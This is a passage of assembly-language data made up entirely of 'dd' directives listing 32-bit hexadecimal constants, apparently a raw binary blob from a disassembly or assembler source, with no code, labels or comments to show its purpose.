dd 7BACC967h, 0B2DA0181h, 0E585C72Eh, 0C3616E20h, 0AB630195h
dd 0AB914F69h, 770AFA5Dh, 0B0E0F860h, 3D6100E6h, 0B72A3F10h
dd 3603AB86h, 0B9886966h, 20E0B6C9h, 0C782FAD4h, 505407C4h
dd 480E6825h, 3428156h, 0F8017634h, 3140DABAh, 8309C44h
dd 0EC6F28CCh, 0CD4C8C17h, 0FC104C1h, 0BA40058Dh, 5D9BCF0Bh
dd 0D79406B3h, 53EE22B1h, 8D0B0FF5h, 5B941571h, 40AE604Bh
dd 3567A1Ch, 72F82E1h, 2F0CD652h, 0B15A5C80h, 38916144h
dd 342CFC92h, 31B18A0Dh, 8B0B41E9h, 811922CAh, 504D49D1h
dd 99FE056h, 2099B529h, 80171F14h, 2675ACC9h, 24721AB1h
dd 0A343B6D7h, 0A118F150h, 6F2E9B4Dh, 0BACE01A6h, 71DBE6D4h
dd 6AC5B0BAh, 0F961031Ah, 85294365h, 0D1941792h, 0E99BB507h
dd 92BFF7C3h, 400049B2h, 5B72EFECh, 1A9D96A3h, 0E16AD001h
dd 2D592541h, 0E9A80A05h, 858B83ADh, 3BE50DB9h, 11B2398h
dd 617AFED2h, 0C67E8589h, 54C88A0Fh, 0E94D09B5h, 0BC380618h
dd 850E454Bh, 0C080D6B8h, 937DF387h, 0DCC5134Eh, 820C9464h
dd 0BC44F470h, 0C009BD3Ah, 0B4670BB9h, 1E597896h, 0E06F3EACh
dd 0B3A777F9h, 225D0B24h, 851384D0h, 5BBBD7ECh, 1866E812h
dd 0E8DA520Fh, 581929D7h, 0BDC82D89h, 8290F846h, 1616F120h
dd 0B4E8F38Bh, 5900EC89h, 12B395F8h, 2A5FFCh, 429AED57h
dd 0E781756Bh, 58544005h, 5B245A69h, 4AC95AC3h, 67B6E9Eh
dd 7EA38339h, 0ABD903Eh, 2EAD1F14h, 0A5B2425Bh, 0E58080C1h
dd 0F2DE6383h, 0D9903FD9h, 412089BDh, 4FEB7115h, 1A139184h
dd 27D192h, 0E161A257h, 0F4004F30h, 8B3FB7A9h, 98E3230Ch
dd 518D2D25h, 0A9D87925h, 0F01B8F1h, 0C4C6BE9Fh, 0FE6109A0h
dd 10EBE90Fh, 105D6A7h, 8ACC01DAh, 94538541h, 1C3CF9DCh
dd 1DBA8903h, 6765043h, 0E108B520h, 25B9210h, 0B509FA03h
dd 51F98292h, 0C5181C79h, 0FE0F6200h, 0C2D223ADh, 208E9841h
dd 60171ED5h, 4940D48Ah, 0DBFFC3BFh, 2A18B73Eh, 0A5B48E0Fh
dd 95C6D04Eh, 10BD791h, 201AF985h, 79C28181h, 33E109C4h
dd 31D9606Ah, 3D978320h, 6BEC2FC0h, 0F1BA6605h, 8C6F5093h
dd 0E5B9007Eh, 3B2F11D9h, 8915A832h, 4651B1B5h, 0ECF4B353h
dd 9DA69FC0h, 92FC5E94h, 56FB16E5h, 0DA6EBA80h, 1CB5B91Ch
dd 9CFA1377h, 65CB40CFh, 68D9AE12h, 0B4868E1h, 71EE8A53h
dd 7440A617h, 0B9001B46h, 48E18992h, 0A7488D09h, 2D407806h
dd 36CA3A81h, 0B36AAD17h, 0FE45507Ah, 0BA0123B3h, 7C267F6Fh
dd 0C8482266h, 0A3F84D24h, 25773EF7h, 556813DDh, 19C40B4Dh
dd 29BC1840h, 4025A17h, 641239DFh, 6AB8E3E9h, 0EC7F131Eh
dd 44034BC0h, 0B9CB8B31h, 5338644Bh, 0A3F98B0Ch, 178C693Dh
dd 1E93A02h, 0B3D5B503h, 571B062Fh, 4DBD9533h, 22705F58h
dd 806BB112h, 0B46D18A0h, 2800A29Ch, 8F034445h, 543D5926h
dd 88B73296h, 8925B966h, 59E09A82h, 75C90032h, 6E20D09Eh
dd 5CE8A072h, 0D483474Ah, 0A4D48C95h, 312CEAA3h, 9DE42DE4h
dd 0E4DCAEB6h, 0BA7F4C9Bh, 93129510h, 0C611193Fh, 42C6F80Bh
dd 8B60E00Bh, 9766B8D9h, 0B6F8F1A9h, 4A79155Dh, 1823F93Bh
dd 7671FB07h, 79F963F2h, 0F953A905h, 0D02A1917h, 0AD9D29A5h
dd 0F1446EEFh, 82992A55h, 40A53160h, 534AE902h, 78BFC3A4h
dd 0CF5F5BD6h, 0C1168804h, 90A2100Ah, 382201D2h, 4D8D2916h
dd 0FF4192B4h, 23013B3Ah, 23860019h, 0D630F9Dh, 15DCCC4h
dd 3C29E7A5h, 0F260E907h, 5C641AFFh, 39001746h, 6026A3ABh
dd 5B04DF80h, 0E861F48Ah, 616F89A5h, 2F5AF86Ch, 1D117144h
dd 0F9DD236Bh, 2DD40BDDh, 98C16E8h, 333EFD42h, 0AC2078Bh
dd 62822435h, 7660476Ch, 0E6816011h, 0E82FD388h, 60574268h
dd 801055FFh, 24833E9h, 82FA8C50h, 2574E1DCh, 8B13FD84h
dd 0D45DFCF6h, 0F8CD4B33h, 16B96E8Ch, 17C37551h, 149EE180h
dd 92FEE450h, 0BEF04756h, 0C81706E0h, 5FF24FC7h, 0C2240202h
dd 0FC40DDD3h, 0ED01122Ah, 72E55827h, 787D4049h, 16002FB8h
dd 253DD487h, 0B764FBCBh, 11023E84h, 45F49880h, 346A8011h
dd 2BD9E8CBh, 836E7894h, 848A4F15h, 0DE915405h, 20AE0728h
dd 0C2950162h, 5823575Ah, 954BFC85h, 45602CCh, 0A8B85268h
dd 5C6A789Ch, 10204304h, 81DF64EEh, 347BE71h, 4328B2Bh
dd 0EC18AC9Bh, 0F05D3479h, 4F481EA4h, 2F261E2Ah, 0A8036DEFh
dd 7D436095h, 56286A53h, 0C08518C2h, 41759875h, 64980B68h
dd 2DDBDB87h, 687060E5h, 72A4684Ch, 208056E7h, 479D8B82h
dd 45BC42Fh, 0AB4CFDA0h, 15638554h, 9FE5FDC7h, 500C43D8h
dd 2E850702h, 52871B29h, 0C47020Dh, 8BA4B52Eh, 671411A2h
dd 97684502h, 292A5F7h, 0CD1C2C51h, 580C0267h, 32537528h
dd 0A1B46D60h, 0C914E1Ah, 343A5A97h, 81805859h, 0C0397AC9h
dd 48CFEC52h, 4930016Fh, 22386DB8h, 805CB7B7h, 5174C8EDh
dd 0E709D5C5h, 0A2975B86h, 0DC8D015Eh, 1F89A5D0h, 6414C85Ah
dd 37B35FFh, 66C4E981h, 891A1075h, 16EB9425h, 30212AF5h
dd 0C1520F1h, 50277DD8h, 35B1095h, 0DBE4B0h, 1C626023h
dd 0EBC065E1h, 29BD891Fh, 5A5F35E0h, 9405F84Eh, 435634F3h
dd 0CEE087A6h, 731D9193h, 0A145DE71h, 800460C9h, 30B0A41h
dd 610E1059h, 7660E980h, 571764E8h, 0EFE93BCCh, 910A217Eh
dd 0A4040408h, 33012B6Dh, 22800FDBh, 85310F71h, 0C01DB8EDh
dd 0E68A3160h, 8019F532h, 3F0F407Dh, 5B640B07h, 0BE7C568Fh
dd 6EBE6EC4h, 0E93100B5h, 1A7075E3h, 0D4453CB8h, 387BC952h
dd 1800B63Ch, 0D129D9CDh, 700E4A52h, 369DBF66h, 544BB88h
dd 167CDE6h, 0FBFD81D7h, 0EF442FFh, 68820B24h, 0F3E90216h
dd 0C49B9B5Dh, 0B64AFAFCh
dd 0A4E5F24Eh, 660E1CBDh, 4C20D3EFh, 81C70C24h, 0FF2FA466h
dd 65837A03h, 50415B8h, 98BC3B6h, 1F0E0C92h, 815D0411h
dd 0B1918FEDh, 1B45838Bh, 393D8706h, 34894318h, 3DB94F5Dh
dd 419D16B8h, 64061E57h, 37D85E3h, 89881995h, 25B524F8h
dd 9554E9C4h, 0DB59E140h, 0C53F00B1h, 9CE7BBF3h, 7A1D3667h
dd 1D87D981h, 38291659h, 209529D7h, 0B95B0F45h, 4B81D40h
dd 4855D7h, 0F7816405h, 0D465BB0Dh, 0BA868503h, 8734B640h
dd 5FE8EAD1h, 0C1ED0C9Dh, 4D5868FBh, 28912A56h, 5A192A61h
dd 3A2B4E60h, 39031D23h, 0F74B1FCBh, 9AC61C50h, 0F8BA006Dh
dd 604E3A64h, 0A90C0B2h, 8161DF00h, 0B1D549C7h, 0A829431h
dd 0A8ACA595h, 0D682256Ah, 3D08861Fh, 13954204h, 85B00B10h
dd 0AC7120C8h, 4ABA30C6h, 4667F413h, 70DC8B89h, 0B5D239BCh
dd 0EFE79402h, 8FDE5E47h, 29FF00DCh, 0A638574Fh, 3D2D9D31h
dd 3A329106h, 90ADDC56h, 382E1C56h, 1567835h, 637845E0h
dd 74706500h, 206E6F69h, 0EC66E649h, 616D2872h, 3C13980Ch
dd 73B9656Ch, 8202C9Bh, 74A964E3h, 36CEF768h, 77E66C71h
dd 677E697Eh, 647F637Ah, 0BE28736Fh, 4061E57Eh, 0FE7864ADh
dd 6D2ACE2Eh, 68542083h, 3D6B163Bh, 9B75BF79h, 0FD040D0Ah
dd 70280131h, 62734698h, 521D5443h, 0EC7F2B4Ch, 0D9699ED1h
dd 0B664971Eh, 2AA18FA0h, 3C087970h, 62BF696Ch, 64726185h
dd 42361029h, 5465561Fh, 0DF9F9973h, 7225DE3Dh, 8780431Eh
dd 4E496B63h, 1C640FA9h, 5455234Fh, 6F725087h, 0F211DFAh
dd 0F193B6Dh, 7469E601h, 0C80F3DA1h, 50CA5B1Eh, 1D188E8Dh
dd 8F812B1Eh, 0C1141BA1h, 4012D2Ah, 0AAC39181h, 0DAA8276Bh
dd 25681907h, 0D3A57080h, 182419D8h, 1922513Ah, 13078BD6h
dd 411628E0h, 0D6D2B024h, 0ACD25265h, 882542C0h, 1A537126h
dd 0A07132C8h, 0C4A1DD1Ah, 36216BBEh, 216BA7C4h, 6BAFC42Ah
dd 0B6C42E21h, 100C462Ah, 0E9122DF5h, 84C9E8A2h, 3A540A09h
dd 210D952Ah, 442F0EF5h, 9742B0F3h, 0C2810C68h, 7B1CF827h
dd 958D0B14h, 52300CC4h, 0C3402834h, 463B58D4h, 97021512h
dd 0C8D06E98h, 9D8B8A55h, 4CC38B13h, 659A9BE2h, 8501131h
dd 54908726h, 58793288h, 90873608h, 0A92A885Ch, 0DAA4FDCh
dd 1468D1AFh, 995ACD14h, 2A0C2E0Ch, 21364386h, 0DE269032h
dd 1C0AA1A2h, 54291C26h, 3650507h, 0B0C2BC1Fh, 0CA406A24h
dd 5A193E24h, 25BC4873h, 8BDD9801h, 18EB2CC1h, 0F298D48Eh
dd 94600240h, 71CA384Dh, 3DDB4Ch, 0C904C261h, 7041E634h
dd 8149060h, 8C56F621h, 0C324C34Fh, 2106F8E9h, 3E13B58Bh
dd 0E681388Eh, 8C18F035h, 37B9E855h, 0E8C68109h, 61B53BA9h
dd 860F3917h, 1E51BBE9h, 737ED820h, 506FCF60h, 9C88C66h
dd 0C00A0324h, 3F2A1B08h, 7D21AF5Bh, 4D22858Bh, 0A188604h
dd 163F84DBh, 7BA71C67h, 0C6240419h, 0FD5013CFh, 700891C2h
dd 0EC2D41C6h, 4C7C010Fh, 9E3FE5Ch, 68531CC0h, 0F6896617h
dd 209C5FCh, 953725Bh, 820E4CBAh, 0E0424314h, 5361BB22h
dd 0E380CBEFh, 0CDDB4A97h, 0CE760BD9h, 0DB6DC9C7h, 0E6449B0Ah
dd 0C59198A2h, 0C7065789h, 0F2528E18h, 32234320h, 995BBD01h
dd 6010A3A2h, 0EA923E80h, 1BB3144h, 763AB7A1h, 0CAB101B0h
dd 0AC407C5Eh, 3902C88Ah, 0D10332C3h, 0D20BAACBh, 19014022h
dd 0D6C90A4Ah, 0F02316E5h, 1011D4DDh, 0D48B5207h, 87A3057h
dd 0E950C033h, 8038AA21h, 158D563Fh, 0DBC5A5Fh, 32565153h
dd 236BDBC9h, 0D8D0AC09h, 8103D3D1h, 465ABCC3h, 0F4B07937h
dd 970B6449h, 0C38B40E8h, 0E85B595Eh, 957BA660h, 95AC7C11h
dd 0A2772AEAh, 72E704C0h, 0F811ADFh, 9404A8D8h, 0C4D4293Ch
dd 35FE3DB8h, 8F606063h, 21D2BC85h, 6B4640Ah, 0D22BD1Fh
dd 23E93889h, 65632A3Fh, 1705F040h, 9B4614F3h, 14902189h
dd 46F53CCFh, 1FD11E65h, 43AE2430h, 694587E9h, 727620DFh
dd 7A014D90h, 0CAB2B80Ch, 333CA945h, 30060E9Ch, 46C8D140h
dd 0F14F73Bh, 908DF182h, 280829EAh, 284C297Bh, 51567028h
dd 40135348h, 0C494A2Ch, 2D3C8567h, 800AC908h, 13349804h
dd 0C112D832h, 1C1508C3h, 0A1CD467h, 375E595Bh, 44219820h
dd 0E2211240h, 0C6C2A2Ch, 100FAD21h, 1125C494h, 8173A813h
dd 0C075B326h, 0F78D6880h, 0A71312A8h, 0E4B71F25h, 6C3900E0h
dd 0DD7B0844h, 5F0E3270h, 52C08158h, 66F6A0h, 0B944EDBEh
dd 53D24D31h, 0CAD689FFh, 3E5092Dh, 0D85230FBh, 131831E2h
dd 45A6649h, 81F78B8Ah, 0FD39F6A3h, 0B5883A2Dh, 3004074Dh
dd 11543A68h, 0E8144A5Eh, 981DCAECh, 5A00E7C9h, 8ED5EB81h
dd 66423BE6h, 217AD68Dh, 6C52FC16h, 53FC2C0Eh, 0E1F50F8Fh
dd 112A38E8h, 8B059960h, 0F677F2C0h, 9AE2804Fh, 3DE28A00h
dd 6B811153h, 0EE056200h, 3EB987E1h, 0BF8202E9h, 5F65E7FAh
dd 55348286h, 40BA661Ch, 22E24914h, 3EBE2884h, 96F00ABh
dd 9B41B429h, 0CC07DF4Bh, 91D21269h, 0E0D1AB13h, 129C7A9h
dd 16310105h, 9828AD66h, 0E721C209h, 0FB050021h, 49067447h
dd 1B00848Ch, 4893652Ch, 0FD1ADC8h, 8F2AB2B6h, 0D7C6003Eh
dd 21C11D41h, 68349500h, 0A7AD508Ah, 2ECA03D1h, 0AF60E10Dh
dd 58E66FE8h, 40D7C900h, 0C52A037Ch, 0F0F92066h, 5945A71Dh
dd 2089FACAh, 8C55D570h, 7738A87Bh, 0E87232E1h, 52B3093h
dd 26310311h, 33A4BD88h, 0BB2D0500h, 7569CDA2h, 0C0477CA1h
dd 0EDAC6E78h, 0F8C40491h, 504D62C3h, 28418030h, 129BCCABh
dd 432A1BD6h, 92A818AAh, 0C90063B4h, 35175BF4h, 18423C87h
dd 38D58FF9h, 9938F1A7h, 865B036Ch, 3052ABCDh, 1121EE09h
dd 87006C92h, 9D67AE5Dh, 6E01E90h, 2B516DF2h, 0B61881B0h
dd 98B14458h, 0C90E1407h, 0E00F9C09h, 28B8FBC6h, 0D86034B8h
dd 4D085259h, 800F39BAh, 6DA53304h, 88108EA8h, 6FB7C0C4h
dd 6004831h, 3D57A404h, 0EDF5EB8h, 47F3EC5Dh, 79DB2CE6h
dd 0ACC4E01Bh, 7E29C0A8h, 919218B0h, 0CD6751B2h, 8D165D00h
dd 9808A447h, 1F9BF2C8h, 945E5B06h, 0C0BCEC11h, 92961F8Ch
dd 0E35E44D5h, 9A1480C9h, 0DE664136h, 4658A989h, 52E0296h
dd 313E3106h, 26EC10BEh, 615E0705h, 0E10FBF4Eh, 22912B44h
dd 53AC0008h, 560DE405h, 0EC1D01CFh, 441B58A1h, 5FFCE0D2h
dd 0B89A3605h, 8C47E932h, 4854BAh, 58F68EDDh, 0FBB0D71Eh
dd 8191FD00h, 0A0944B10h, 0A2C7D79h, 0CECB3606h, 0BC280160h
dd 0F4E252ECh, 0B7006DCDh, 0A0623288h, 3DD8D7Bh, 0A92CD374h
dd 7100E28Fh, 5FCAA480h, 0AF8784h, 69F8CE42h, 0F37ED4FAh
dd 195D5800h, 0CB82903h, 1548040Bh, 41AD38A6h, 0FA423BA7h
dd 9A026426h, 8E5B016Ch, 1210EA31h, 82756C93h, 0A407C873h
dd 2FCBFC1Eh, 0B192BEB1h, 0ADD41910h, 0A71F9000h, 556A0F13h
dd 60F206h, 0E8E6F643h, 2BB801DCh, 4442BA28h, 9E02FE46h
dd 0AE5B056Ch, 1610E931h, 0A5026C97h, 15D4D6B8h, 0F444BAh
dd 0FA9D01D8h, 49620FAFh, 907CD00h, 0B866CFCBh, 90617D42h
dd 2944614h, 3104052Ch, 10BC312Eh, 50524EAh, 0C4E19102h
dd 0A2D840AAh, 0AEDDF66h, 0CD35E0E6h, 241F19ADh, 0A96111BAh
dd 1852070Fh, 2A530EE0h, 327CF0AAh, 44129029h, 0CE18BB59h
dd 992FF701h, 51F60434h, 0A98A2BD0h, 0E9F8E0A4h, 0ACF1FA8h
dd 19821832h, 617CC554h
dd 6AB48C6h, 906C61CEh, 33129723h, 30E9A268h, 1607B224h
dd 0CAE18EBDh, 348280FAh, 6095339Fh, 0B09BA01Fh, 0FC380020h
dd 0FF5524B0h, 0F050AE6Ah, 0DB2C1CD8h, 5BE418C4h, 61025C01h
dd 309182B6h, 0C0BCD757h, 46CE4Ch, 0AF6381B3h, 19DA5A6h
dd 0C85C2B59h, 0E22021BFh, 90307E54h, 5BD9C0E6h, 540A3FE4h
dd 88070C00h, 527A13B8h, 1CEB036Ah, 0D294C7B1h, 0EE0490B7h
dd 640A4D6Bh, 0B458B702h, 0D001D196h, 0B12D9433h, 0C0428E2h
dd 31294D90h, 0A8B89407h, 2F0661Dh, 0CCD0455h, 0B7375732h
dd 0C00F2EA9h, 80AF646Bh, 0A831CCDAh, 0DCC083E1h, 0F20F34A7h
dd 0D36CBCDh, 0E0302817h, 46DB4503h, 70CE31B0h, 67A683ACh
dd 5120FE87h, 9880E1A2h, 0B45B0EA8h, 0A00769A5h, 44310F52h
dd 0D674FB10h, 2D32009Bh, 0ADCB8758h, 332CF75Ch, 6A0008EDh
dd 32A7E276h, 0CCD4141Ah, 0D30445Eh, 0C75D0951h, 6C312F60h
dd 602B6735h, 3ECA80CDh, 0FCA1D3BDh, 0C093F030h, 2E4018C1h
dd 6D01E8F9h, 0C9F557h, 2801194h, 0A7A5F31Ah, 94281B87h
dd 10AF509h, 0CBA2A6ECh, 0BAEEEDE0h, 2D571030h, 3B3C58E6h
dd 529240A1h, 446CCF2h, 34862AE1h, 795192A4h, 4A0FF0B8h
dd 0BA948A50h, 0A4DF3C04h, 7784AAD1h, 98928000h, 19A83F08h
dd 298C6B10h, 44DE0828h, 0B78B84F2h, 612635E0h, 455526BEh
dd 0C0711DF7h, 7C8C879Ch, 0AC7768B7h, 2ABF4F01h, 4A9DEB67h
dd 6BE05E21h, 5DDF428h, 0FA470988h, 331B80A0h, 0C11F5A9Dh
dd 1B80FFC6h, 0EE520F06h, 0BE9016h, 67995EB2h, 0F42B8E24h
dd 91012CF0h, 9649C85Bh, 15C08C61h, 9CF20048h, 9DF8D155h
dd 242A19D6h, 0DA008CFCh, 0A5492D9Ah, 4CE8A061h, 4600101Eh
dd 0CF7C8E42h, 9E792A74h, 82C6DF00h, 0CE37B9A9h, 72B2003Bh
dd 713A342Ch, 0A62AAC24h, 9F00B478h, 0F5C1EE25h, 760BFD2Dh
dd 379E00DDh, 2B9CC2FFh, 7A3CCEC7h, 0F3EA81F1h, 3FBD8CA4h
dd 0EC3E5AECh, 90C50079h, 0BE37150Bh, 230F2BB5h, 6E403854h
dd 0F8401D09h, 0B7BDB898h, 0C5240CA7h, 0ABC11889h, 0BBFBF500h
dd 0E11178D9h, 18DD79h, 7FEC6BFCh, 460057B1h, 0D682930Ah
dd 0F6005E4h, 0E36F2666h, 0F64E4440h, 0BD00E82Ah, 0D6E69A13h
dd 5D426Dh, 11F49E4Bh, 3B7F477Bh, 0C65B1000h, 0DBD53D4Dh
dd 0B77BC8h, 55E2EBF3h, 30DEF0CBh, 302A8330h, 15D216h
dd 0A0C0199Bh, 0E8356797h, 7ADF541Eh, 8F779900h, 0EA11CE02h
dd 627C009Dh, 0E982B68h, 0B90066AFh, 4D9B810Ah, 21D5A9Eh
dd 3E8BAA8Ah, 8400C40h, 6A00CEA5h, 12FEB321h, 604DEh, 39984E34h
dd 0C3DC8CFDh, 6A1FE701h, 0C9A2E6F0h, 0D25C2180h, 0AD250A1Dh
dd 7500E773h, 0C7A81BD0h, 0BDA7CCh, 82CB46AEh, 8AB55DC1h
dd 625AE100h, 0C376F588h, 0D2382491h, 0A8060320h, 68CEFB6Ch
dd 89F6A100h, 0A080794Ch, 658A05D7h, 80EFBE2Ch, 0DFBF3235h
dd 6F2A500h, 3B808982h, 0F4B650D7h, 0D8380043h, 9F749CDh
dd 0C700D6FCh, 6FB17284h, 0FCF78A3h, 8573CBD4h, 0CA6AC840h
dd 0D0FD8F79h, 833DB57Ah, 53860031h, 0A0FD03FEh, 2A210758h
dd 0E0E184B6h, 4D2519B1h, 0E008094h, 297CCA88h, 9BE91F67h
dd 0B8054048h, 0D3203064h, 40127E00h, 0B9C416F3h, 9FAF0065h
dd 0C0D052DAh, 0EE0026FAh, 0B0818DEh, 9E230FBh, 830135A5h
dd 468EBB00h, 44967F1Ch, 36ED0C01h, 0B160B3DEh, 37C3121Dh
dd 0B5E00043h, 0C77CE30Ah, 4C4F3201h, 0B76F17Bh, 3356424h
dd 0C8157360h, 2900DE87h, 96B9D928h, 303AF72Fh, 718F39Dh
dd 993CE764h, 48F9F1Fh, 0E500B428h, 5A262551h, 295DE0h
dd 0D6ADBA33h, 0C9FE7B7Dh, 0D359CA1Eh, 72DEE341h, 0B18027C4h
dd 606713E9h, 8500F303h, 0A1D9227Fh, 0E2BC3E9Bh, 9E5903B6h
dd 35F1D5DDh, 138B61B0h, 0AC4E7900h, 0CA229A33h, 3B80251h
dd 0C7D06EE7h, 0F32A1860h, 2E3BC209h, 0CF0C802Bh, 7C2367h
dd 0E6975461h, 0E4BE033Ah, 77F06360h, 1E8FB9EEh, 44277A37h
dd 0C01C2A68h, 49599C40h, 75A08400h, 3C77D765h, 0C78100CBh
dd 0AEA95E67h, 2C00266Fh, 4B058CDDh, 0EEAAE3h, 5F1D2E5Ah
dd 0D94A85E5h, 6C308060h, 7B4BCB7h, 59F2FE6Fh, 0EFF7C0C5h
dd 240008CAh, 312AD4FFh, 0C89805h, 7F096DE9h, 0C9367B84h
dd 0CB7C3900h, 58B1BA43h, 0CFD91FA0h, 0F075C077h, 0FD5BF455h
dd 0A4000BFAh, 9D36AF6Ch, 38CC1Eh, 0E1D04FC3h, 9661BA03h
dd 0F9A4E500h, 988A6D66h, 0B6F30042h, 6A2E159Eh, 0A3078041h
dd 22B93370h, 76DA52F0h, 4019005Eh, 0D2E19E3Eh, 4C009548h
dd 0A2C4CCACh, 0AE46F5h, 5E99E005h, 7A2E13EDh, 0BBCB800Eh
dd 0B2274078h, 704153Eh, 8F53CF0Ah, 5BFB6040h, 7E007050h
dd 73B064BDh, 755862F9h, 0D4080086h, 0F121FEC4h, 43006DC6h
dd 2BC24C5Eh, 38365D8Dh, 7200A4A5h, 0BA57144Fh, 4A00E95Fh
dd 9CC70ADCh, 0F0E850FBh, 0A8B600ECh, 89C86B21h, 4DF6D34Eh
dd 0E50A14B2h, 0FC902D02h, 48ECD51Dh, 65BE8881h, 0DC4DC91h
dd 0C7FC007Ah, 4E02777Fh, 8D604419h, 0D774A430h, 0AD2E00A9h
dd 0E79D92B5h, 0BE005927h, 0C718146Fh, 24E00B3Eh, 1222987h
dd 0A3D350A4h, 0B0EDECF5h, 80BC0A3Bh, 6225D481h, 72B8CD9Fh
dd 0F01A1F75h, 7CC3876Bh, 80D11039h, 4409A3AEh, 419328D8h
dd 0D2D055C8h, 876F00CBh, 6D8EEAF2h, 0AA01070Eh, 0C522294Fh
dd 1D604931h, 0F5ECA2h, 0E1E57EF7h, 0B606A018h, 23BE3600h
dd 3BDB5397h, 14EE1233h, 0A7940729h, 3D4BC099h, 0E83C1650h
dd 74708037h, 95D5F883h, 6D7500F0h, 3A5C229Eh, 5B90537Ch
dd 82002175h, 89965779h, 49770B5h, 29C81488h, 114480A0h
dd 9D583FD4h, 0F10300EDh, 0A57CE566h, 0FF71F9Ch, 293640C3h
dd 2F5127D0h, 9FC8EE02h, 0E052CDABh, 0B9B71Ah, 5B5E2CEDh
dd 0B49EF740h, 2000EBF4h, 77591E75h, 0EDDFCC6h, 296D7CA1h
dd 0AF166F20h, 0BE172AA3h, 0C440F70Fh, 303743B9h, 562200D3h
dd 7208F24Fh, 0EC050E6Bh, 0CE29868Ch, 5C125C1h, 0E364E0DAh
dd 7C7E0448h, 0C0526A04h, 0B7338832h, 79A63E58h, 9C287928h
dd 0FAFE0B05h, 0F8D0C183h, 0F8884E0Ah, 65AE02D4h, 916F6943h
dd 76EB360h, 990A2760h, 3D839C4Dh, 1780D390h, 25B043A9h
dd 0C2005595h, 0D5688437h, 0E7E7C4Ah, 935960EBh, 0A8447600h
dd 32008B15h, 239B24B8h, 7AC35C9h, 5849DD0Dh, 538ED198h
dd 303908h, 0C8D6962Ch, 0E52DCBDDh, 0C539A0F3h, 0CA20C6ECh
dd 0E12210BDh, 0E578FBh, 0B759FD24h, 6B2A8B7Dh, 41580902h
dd 402D52BCh, 7E47ED35h, 93D8006Ah, 0DD2F1A63h, 0A41EC919h
dd 6C802A9Ch, 5BA18E3Bh, 0FC04071Ch, 0D0CD7E5Ch, 28FB4696h
dd 6F660605h, 0E781BBC2h, 4E70D9EFh, 90340076h, 4AC8290Dh
dd 0FD034C21h, 2FB02072h, 269839CDh, 97298E04h, 0C2E49046h
dd 0BCA8AC6Eh, 650EFE2Eh, 9CE63305h, 0C3B93102h, 2A108070h
dd 304699h, 929DF5E4h, 0A83F02E8h, 0D006D72h, 97B393FBh
dd 0B6BF73h, 8A9560D9h, 0D7C9F4EAh, 346E442Ch, 90A92D01h
dd 80864871h, 88AFD5BAh, 0F54A27F6h, 59BCC80Ch, 90B12510h
dd 0DA4CDC02h, 25F74522h, 31140EA8h, 0D93811F1h, 22F94611h
dd 0CF573D94h, 7713692h, 0D790552Ch, 76AC7081h, 0C71D8C9Ch
dd 5EC0BC58h, 0FB573ACFh, 445A1EADh, 187B0F1Ch, 0F998ED40h
dd 0B1000A56h, 9743F29Fh, 7ED6C15Ah, 0C82B480Eh, 3FBD8524h
dd 5701A38Bh
dd 177E00A1h, 465C204Ah, 814DB5Dh, 743005h, 14D5E57Ah
dd 18327CEFh, 4041284Bh, 0E1A55Fh, 30474246h, 75D413C6h
dd 0DF9C5D00h, 5CD77CBCh, 0FEFB0054h, 95425879h, 47F8EDE7h
dd 0F9367A00h, 4A6C84D3h, 19EF609Dh, 0E4813E82h, 99059400h
dd 0D4E62A3Dh, 3B48079Ch, 0F0C564ADh, 98B9C138h, 0E3325700h
dd 0F48571C9h, 6C9100D1h, 9C16D5E6h, 301AC90h, 99B1BBB6h
dd 89402774h, 95B345h, 8E027EEDh, 2C63CC71h, 8F506D0Eh
dd 0ECD7208Ah, 8F038h, 0F1965666h, 133F52A1h, 0B673AB00h
dd 2754F622h, 0F42A75ADh, 0A36D0EB7h, 140EE56h, 2C5221BCh
dd 0D66A7412h, 0B76E4800h, 24894E5Eh, 0E437D96h, 0C4EF997Bh
dd 0DFA4B461h, 76846040h, 6851E732h, 0F07C58C6h, 52E092h
dd 6EE1B105h, 9B7C922h, 0E8965C28h, 1B26EE12h, 0D60350CEh
dd 0AC051279h, 0CC0D2FE0h, 0D035A615h, 61740FF0h, 0FCEE41CEh
dd 19F0EA83h, 60D8B09Fh, 71264993h, 2207B575h, 0CDC096A7h
dd 0B0FC3F43h, 3E3E51BAh, 2516052Ah, 0AFC10FC5h, 0D2380BCCh
dd 3231C39h, 81EA6BF6h, 14704C0Ch, 3C73A000h, 0F0795662h
dd 779C3300h, 1A983D9Dh, 1649A5Bh, 6F09EE16h, 283E144Dh
dd 0C600050h, 0A6D226E6h, 30C4F6A0h, 2CC9DA41h, 0B0495E0Bh
dd 0FF421C60h, 5501F8A6h, 3F8812A5h, 0AA4C70h, 28BF3976h
dd 0E303D595h, 0EE125D77h, 7F80B1E5h, 38475C1h, 1ECCEDF7h
dd 5006BB71h, 211788C3h, 0F4AA0ED8h, 6C40A1E5h, 0D2ACF10Ah
dd 65A04B60h, 0FFFEBD0h, 0FDB9EE6Bh, 133DD560h, 0D83AF2BBh
dd 284C3294h, 5C504Dh, 59A1D653h, 76B6D9A2h, 3083D102h
dd 0C485EE62h, 5F8A3FB0h, 23DC430Bh, 0FD222920h, 0AA005076h
dd 0CB1F9A2Fh, 7D1959A5h, 0F7A0C5ACh, 0F136C0BFh, 697CB37Ch
dd 0AC31FA2Eh, 0E0E9470Eh, 61A4703Ch, 20190ECFh, 0B200E53Dh
dd 0C1840876h, 0E0955701h, 0DACE46A2h, 131443E0h, 4532F4h
dd 64883780h, 670051ECh, 4D710B83h, 8D279Fh, 0A841BA30h
dd 4061DA12h, 9D5AF600h, 8A7AD6DEh, 9BF700FFh, 0B9161D5Eh
dd 33013A3Eh, 6CD556D1h, 9B4158FDh, 0A4FCBB2Fh, 35CC0046h
dd 55D46783h, 0C24877A2h, 893C90h, 2BBACA58h, 0B82896h
dd 0D91A3C3Eh, 0D794CC33h, 0D03924h, 0BD029DBDh, 1B87294h
dd 438ED76h, 108F832Fh, 0E00EA42h, 0F23B8490h, 33A41C50h
dd 2656A00h, 0AD632143h, 66D13E4h, 0FA2400CEh, 0F17C2695h
dd 2A12E00Fh, 0AC033678h, 80887427h, 1DCFE07h, 7D7C812Eh
dd 0C8D013C7h, 82001799h, 0EEE798C3h, 71721FCDh, 0C04EA9Ch
dd 5401AFC1h, 0A272E611h, 2B21AB02h, 0C0044EB3h, 0D42C20F8h
dd 0EA148816h, 500F4ACh, 2477C58Bh, 9301E171h, 0AEFC5440h
dd 0FC30365Bh, 96A004F3h, 807B8B8Ah, 0D79CAC2Ah, 0F49C4A50h
dd 83E72B3Bh, 1182BE0Ch, 0A45B98FAh, 8722096Bh, 3D0A700Bh
